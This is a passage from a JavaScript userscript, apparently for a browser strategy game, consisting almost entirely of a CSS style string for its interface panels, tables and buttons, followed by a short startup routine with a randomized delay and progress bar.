	#' + UID['main_outer'] + ' div.container ul.tabs li.tab a.selected {\
		background-color: rgb(110,132,181);\
	}\
	div.' + UID['title'] + ' {\
		border:1px solid;\
		border-color:#ffffff;\
		font-weight:bold;\
		padding-top:2px;\
		padding-bottom:2px;\
		text-align:center;\
		color:#ffffff;\
		background-color:rgb(60,90,150);\
		background-image:url(\'' + urlBackgroundLogo + '\');\
		border-radius: 2px;\
		-moz-border-radus: 2px;\
	}\
	div.' + UID['title_sr'] + ' {\
		border:1px solid;\
		border-color:#ffffff;\
		font-weight:bold;\
		padding-top:2px;\
		padding-bottom:2px;\
		text-align:center;\
		color:#ffffff;\
		background-color:rgb(60,90,150);\
		background-image:url(\'' + urlBackgroundLogo + '\');\
		border-radius: 2px;\
		-moz-border-radus: 2px;\
	}\
	.' + UID['title'] + ' * {\
		display:inline-block !important;\
		font-style: normal !important;\
		text-decoration: none !important;\
		font-weight:bold;\
		color:#ffffff;\
		font-size: 10pt !important;\
		line-height: 10pt !important;\
		padding: 0;\
		text-shadow			: 1px 1px rgba(0,0,0,0.6) !important;\
		-moz-text-shadow	: 1px 1px rgba(0,0,0,0.6) !important;\
		-webkit-text-shadow	: 1px 1px rgba(0,0,0,0.6) !important;\
		-khtml-text-shadow	: 1px 1px rgba(0,0,0,0.6) !important;\
	}\
	div.' + UID['title_main'] + ' {\
		border:1px solid;\
		border-color:#ffffff;\
		font-weight:bold;\
		font-size:13pt;\
		padding-top:2px;\
		padding-bottom:0;\
		white-space:nowrap;\
		text-align:center;\
		color:#ffffff;\
		background-color:rgb(60,90,150);\
		background-image:url(\'' + urlBackgroundLogo + '\');\
		border-radius: 2px;\
		-moz-border-radus: 2px;\
	}\
	div.' + UID['title_main'] + ' td a {\
		cursor:pointer;\
	}\
	div.' + UID['subtitle'] + ' {\
		border:1px solid;\
		border-color:#ffffff;\
		font-weight:bold;\
		padding-top:2px;\
		padding-bottom:2px;\
		text-align:center;\
		color:#ffffff;\
		background-color: rgb(60,60,60);\
		border-radius: 2px;\
		-moz-border-radus: 2px;\
	}\
	div.' + UID['subtitle_sr'] + ' {\
		border:1px solid;\
		border-color:#ffffff;\
		font-weight:bold;\
		padding-top:2px;\
		padding-bottom:2px;\
		text-align:center;\
		color:#ffffff;\
		background-color: rgb(60,60,60);\
		border-radius: 2px;\
		-moz-border-radus: 2px;\
	}\
	div.' + UID['content'] + ' {\
		border:1px solid rgb(255,200,50);\
		background-color: rgb(245,245,228);\
		padding:3px;\
		border-radius: 2px;\
		color: #000;\
		-moz-border-radus: 2px;\
		-webkit-box-shadow: rgba(0,0,0,0.52) 0 0 2px;\
		-moz-box-shadow: rgba(0,0,0,0.52) 0 0 2px;\
	}\
	div.' + UID['status_ticker'] + ' {\
		border:1px solid #995;\
		background-color: rgb(239,239,224);\
		padding:2px;\
		border-radius: 2px;\
		color: #000;\
		-moz-border-radus: 2px;\
		-webkit-box-shadow: rgba(0,0,0,0.52) 0 0 2px;\
		-moz-box-shadow: rgba(0,0,0,0.52) 0 0 2px;\
	}\
	div.' + UID['status_report'] + ' {\
		height: 106px;\
		max-height: 106px;\
		overflow:auto;\
		color: #000;\
	}\
	div.' + UID['status_feedback'] + ' {\
		border: 1px solid #ddd;\
		padding-top: 5px;\
		padding-right: 5px;\
		padding-bottom: 0.5em;\
		padding-left: 5px;\
		height: 34px;\
		background-color: rgb(255,235,235);\
		text-align:left;\
		font-weight:bold;\
		border-radius: 3px;\
		color: #000;\
		-moz-border-radius: 3px;\
	}\
	table.' + UID['row_style'] + ' tr td {\
		padding: 1px 1px;\
	}\
	table.' + UID['row_style'] + ' tr td.right {\
		font-weight:bold;\
		text-align:right;\
		padding-right: 5px;\
	}\
	table.' + UID['row_style'] + ' tr:nth-child(odd) {\
		background: rgba(255, 255, 255, 0.0);\
	}\
	table.' + UID['row_style'] + ' tr:nth-child(even) {\
		background: rgba(255, 255, 255, 1.0);\
	}\
	table.' + UID['table_targets'] + ' tr td {\
		white-space:normal;\
		vertical-align:top;\
		padding-top: 5px;\
		padding-bottom: 5px;\
	}\
	table.' + UID['table_wrap'] + ' tr td {\
		white-space:normal;\
		padding: 1px 1px;\
		cursor: default;\
	}\
	table.' + UID['table'] + ' tr td,\
	table.' + UID['compact_table'] + ' tr td,\
	table.' + UID['table'] + ' tr td div {\
		border:none;\
		background:none;\
		white-space:nowrap;\
		padding: 1px 1px;\
		cursor: default;\
	}\
	table.' + UID['table'] + ' tr td {\
		padding: 1px 4px;\
	}\
	table.' + UID['table'] + ' tr td.right,\
	table.' + UID['compact_table'] + ' tr td.right,\
	table.' + UID['table'] + ' tr td.right div {\
		font-weight:bold;\
		text-align:right;\
		padding-right: 5px;\
	}\
	table.' + UID['table'] + ' tr td.left,\
	table.' + UID['compact_table'] + ' tr td.left,\
	table.' + UID['table'] + ' tr td.left div {\
		font-weight:bold;\
		text-align:left;\
		padding-right: 5px;\
	}\
	table.' + UID['table_console'] + ' tr td {\
		white-space:normal;\
		vertical-align:top;\
	}\
	td.' + UID['underline'] + ' {\
		border-bottom:1px solid #ccc;\
		background:none;\
		padding: 1px 4px 1px 4px;\
	}\
	table tr.' + UID['row_top_headers'] + ' td,\
	table tr.' + UID['row_headers'] + ' td {\
		color: white;\
		background-color: rgb(110,115,125);\
		border-right: 2px solid #eef;\
		font-weight:bold;\
		text-align:center;\
		line-height:11pt;\
	}\
	table tr.' + UID['row_top_headers'] + ' td {\
		background-color: rgb(90,95,115);\
	}\
	table tr.' + UID['row_headers'] + ' td a {\
		cursor:pointer;\
	}\
	table tr.' + UID['row_headers_left'] + ' td {\
		color: white;\
		background-color: rgb(110,115,125);\
		border-right: 2px solid #eef;\
		font-weight:bold;\
		text-align:left;\
		line-height:11pt;\
	}\
	tr.' + UID['row_marchOther'] + ' td {\
		color:#888888;\
	}\
	tr.' + UID['row_marchMine'] + ' td {\
		color:#000000;\
	}\
	tr.' + UID['row_owned'] + ' {\
	}\
	table tr td div.' + UID['info_protect'] + ' {\
		border:1px solid;\
		border-color:#ffffff;\
		font-weight:bold;\
		padding-top:2px;\
		padding-bottom:2px;\
		text-align:center;\
		color:yellow;\
		background-color:#0044a0;\
		border-radius: 2px;\
		-moz-border-radus: 2px;\
	}\
	table tr td div.' + UID['info_alerts'] + ' {\
		border:1px solid;\
		border-color:#ffffff;\
		font-weight:bold;\
		padding-top:2px;\
		padding-bottom:2px;\
		text-align:center;\
		color:white;\
		background-color:#770000;\
		border-radius: 2px;\
		-moz-border-radus: 2px;\
	}\
	table tr td div.' + UID['info_boosts'] + ' {\
		border:1px solid;\
		border-color:#ffffff;\
		font-weight:bold;\
		padding-top:2px;\
		padding-bottom:2px;\
		text-align:center;\
		color:white;\
		background-color: rgb(110,115,125);\
		border-radius: 2px;\
		-moz-border-radus: 2px;\
	}\
	input.short {\
		width:30px;\
	}\
	input.' + UID['btn_on'] + ',\
	input.' + UID['btn_off'] + ',\
	input.' + UID['btn_red'] + ',\
	input.' + UID['btn_green'] + ',\
	input.' + UID['btn_blue'] + ',\
	input.' + UID['btn_yellow'] + ',\
	input.' + UID['btn_cyan'] + ',\
	input.' + UID['btn_purple'] + ',\
	input.' + UID['btn_disabled'] + ',\
	#' + UID['main_outer'] + ' input[type=button] {\
		width:130px;\
		padding-top:1px;\
		padding-bottom:1px;\
		color:white;\
		font-weight:bold;\
		border: 1px solid #333;\
		border-radius: 3px;\
		-moz-border-radius: 3px;\
		background-image: linear-gradient(bottom, rgba(0,0,0,0.1) 10%, rgba(255,255,255,0.3) 60%, rgba(255,255,255,0.5) 99%);\
		background-image: -moz-linear-gradient(bottom, rgba(0,0,0,0.1) 10%, rgba(255,255,255,0.3) 60%, rgba(255,255,255,0.5) 99%);\
		background-image: -webkit-linear-gradient(bottom, rgba(0,0,0,0.1) 10%, rgba(255,255,255,0.3) 60%, rgba(255,255,255,0.5) 99%);\
		-webkit-box-shadow: rgba(0,0,0,0.52) 1px 1px 1px;\
		-moz-box-shadow: rgba(0,0,0,0.52) 1px 1px 1px;\
		cursor:hand;\
		cursor:pointer;\
	}\
	#' + UID['main_outer'] + ' input[type=button] {\
		background-color: rgb(0,125,189);\
	}\
	#' + UID['main_outer'] + ' input[type=button]:hover {\
		background-color: rgb(40,150,210);\
	}\
	input.' + UID['btn_on'] + ' {\
		background-color: rgb(0,160,110) !important;\
	}\
	input.' + UID['btn_on'] + ':hover {\
		background-color: rgb(0,200,150) !important;\
	}\
	input.' + UID['btn_off'] + ' {\
		background-color: rgb(184,0,46) !important;\
	}\
	input.' + UID['btn_off'] + ':hover {\
		background-color: rgb(200,50,100) !important;\
	}\
	input.thin {\
		width: auto !important;\
		font-size: 7pt !important;\
		margin:0;\
		padding-top:0;\
		padding-top:0;\
		padding-bottom:0;\
		padding-left:2px;\
		padding-right:2px;\
	}\
	input.small {\
		margin:0;\
		padding-top:0;\
		padding-bottom:0;\
		padding-left:1px;\
		padding-right:1px;\
		font-size:10pt;\
	}\
	input.Xtrasmall {\
		margin:0;\
		padding-top:0;\
		padding-bottom:0;\
		padding-left:1px;\
		padding-right:1px;\
		font-size:7pt;\
	}\
	.confirm_button {\
		width:60px;\
		padding-top:1px;\
		padding-bottom:1px;\
		color:white;\
		font-weight:bold;\
		border: 1px solid #333;\
		border-radius: 3px;\
		-moz-border-radius: 3px;\
		background-image: linear-gradient(bottom, rgba(0,0,0,0.1) 10%, rgba(255,255,255,0.3) 60%, rgba(255,255,255,0.5) 99%);\
		background-image: -moz-linear-gradient(bottom, rgba(0,0,0,0.1) 10%, rgba(255,255,255,0.3) 60%, rgba(255,255,255,0.5) 99%);\
		background-image: -webkit-linear-gradient(bottom, rgba(0,0,0,0.1) 10%, rgba(255,255,255,0.3) 60%, rgba(255,255,255,0.5) 99%);\
		-webkit-box-shadow: rgba(0,0,0,0.52) 1px 1px 1px;\
		-moz-box-shadow: rgba(0,0,0,0.52) 1px 1px 1px;\
		cursor:hand;\
		cursor:pointer;\
		background-color: rgb(0,94,189);\
	}\
	.confirm_button:hover {\
		background-color: rgb(0,125,150);\
	}\
	input.' + UID['btn_red'] + ' {\
		background-color: rgb(184,0,46) !important;\
	}\
	input.' + UID['btn_red'] + ':hover {\
		background-color: rgb(200,50,100) !important;\
	}\
	input.' + UID['btn_green'] + ' {\
		background-color: rgb(0,160,110) !important;\
	}\
	input.' + UID['btn_green'] + ':hover {\
		background-color: rgb(0,210,150) !important;\
	}\
	input.' + UID['btn_blue'] + ' {\
		background-color: rgb(0,94,189);\
	}\
	input.' + UID['btn_blue'] + ':hover {\
		background-color: rgb(0,125,150);\
	}\
	input.' + UID['btn_yellow'] + ' {\
		background-color:#BFBF00 !important;\
	}\
	input.' + UID['btn_yellow'] + ':hover {\
		background-color:#DFDF00 !important;\
	}\
	input.' + UID['btn_cyan'] + ' {\
		background-color:#00BFBF !important;\
	}\
	input.' + UID['btn_cyan'] + ':hover {\
		background-color:#00DFDF !important;\
	}\
	input.' + UID['btn_purple'] + ' {\
		background-color:#BF00BF !important;\
	}\
	input.' + UID['btn_purple'] + ':hover {\
		background-color:#DF00DF !important;\
	}\
	input.' + UID['btn_disabled'] + ' {\
		background-color:#D8D8D8 !important;\
	}\
	input.' + UID['btn_disabled'] + ':hover {\
		background-color:#F8F8F8F8 !important;\
	}\
	#' + UID['main_outer'] + ' input[type=text] {\
		border: 1px solid #888;\
		border-radius: 2px;\
		-moz-border-radius: 2px;\
		-webkit-box-shadow: rgba(0,0,0,0.2) 1px 1px 3px inset;\
		-moz-box-shadow: rgba(0,0,0,0.2) 1px 1px 3px inset;\
	}\
	#' + UID['main_outer'] + ' input[type=text]:active,\
	#' + UID['main_outer'] + ' input[type=text]:focus {\
		border-color: #000;\
		-webkit-box-shadow: rgba(0,0,0,0.5) 1px 1px 4px inset;\
		-moz-box-shadow: rgba(0,0,0,0.5) 1px 1px 4px inset;\
	}\
	span.' + UID['bold_red'] + ' {\
		color:#550000;\
		font-weight:bold;\
	}\
	span.' + UID['green'] + ' {\
		color:#009C1F;\
		font-weight:bold;\
	}\
	span.' + UID['blue'] + ' {\
		color:#0000AA;\
		font-weight:bold;\
	}\
	span.' + UID['red'] + ' {\
		color:#AA0000;\
		font-weight:bold;\
	}\
	hr.thin {\
		margin:0px;\
		padding:0px;\
	}\
	.' + UID['information'] + ' {\
		background:url(http://doa.wygopro.com/images/information.png) no-repeat top left;\
		background-position:center center;\
		color: white;\
		padding-right: 10px;\
		margin: 0 auto;\
	}\
	div#' + UID['tooltip'] + ' {\
		position: absolute;\
		max-width:185px;\
		padding: 5px 8px;\
		color:#fff;\
		font-family: "Lucida Grande","Lucida Sans Unicode","bitstream vera sans","trebuchet ms",verdana,sans-serif;\
		font-size:9pt;\
		background-color: rgb(60,90,150);\
		background-color: rgba(60,90,150,0.6);\
		border: 1px solid white;\
		border-radius: 3px;\
		-webkit-box-shadow: rgb(0,0,0) 0px 0px 5px;\
		-moz-box-shadow: rgb(0,0,0) 0px 0px 5px;\
		background-image: linear-gradient(bottom, rgba(30,30,30,0.9) 1%, rgba(30,30,30,0.5) 100%);\
		background-image: -moz-linear-gradient(bottom, rgba(30,30,30,0.9) 1%, rgba(30,30,30,0.5) 100%);\
		background-image: -webkit-linear-gradient(bottom, rgba(30,30,30,0.9) 1%, rgba(30,30,30,0.5) 100%);\
		visibility: hidden;\
		z-index: 1000;\
	}\
	';
			addStyle(css);
		}


		setMainStyles();
		var initialDelay = Math.randRange(5000, 8000);
		progressBar.init(800 + Math.randRange(1, 50), 100, 450, 150, translate('Initialization'), 400, false);
		progressBar.start({
			steps: 1,
			delay: initialDelay,
			title: scriptName + ' - v' + scriptVersion + ' : ' + translate('Starting...'),
			stepText: translate('Delay before script startup')
		});
		setTimeout(scriptStartup, initialDelay);
	}
})();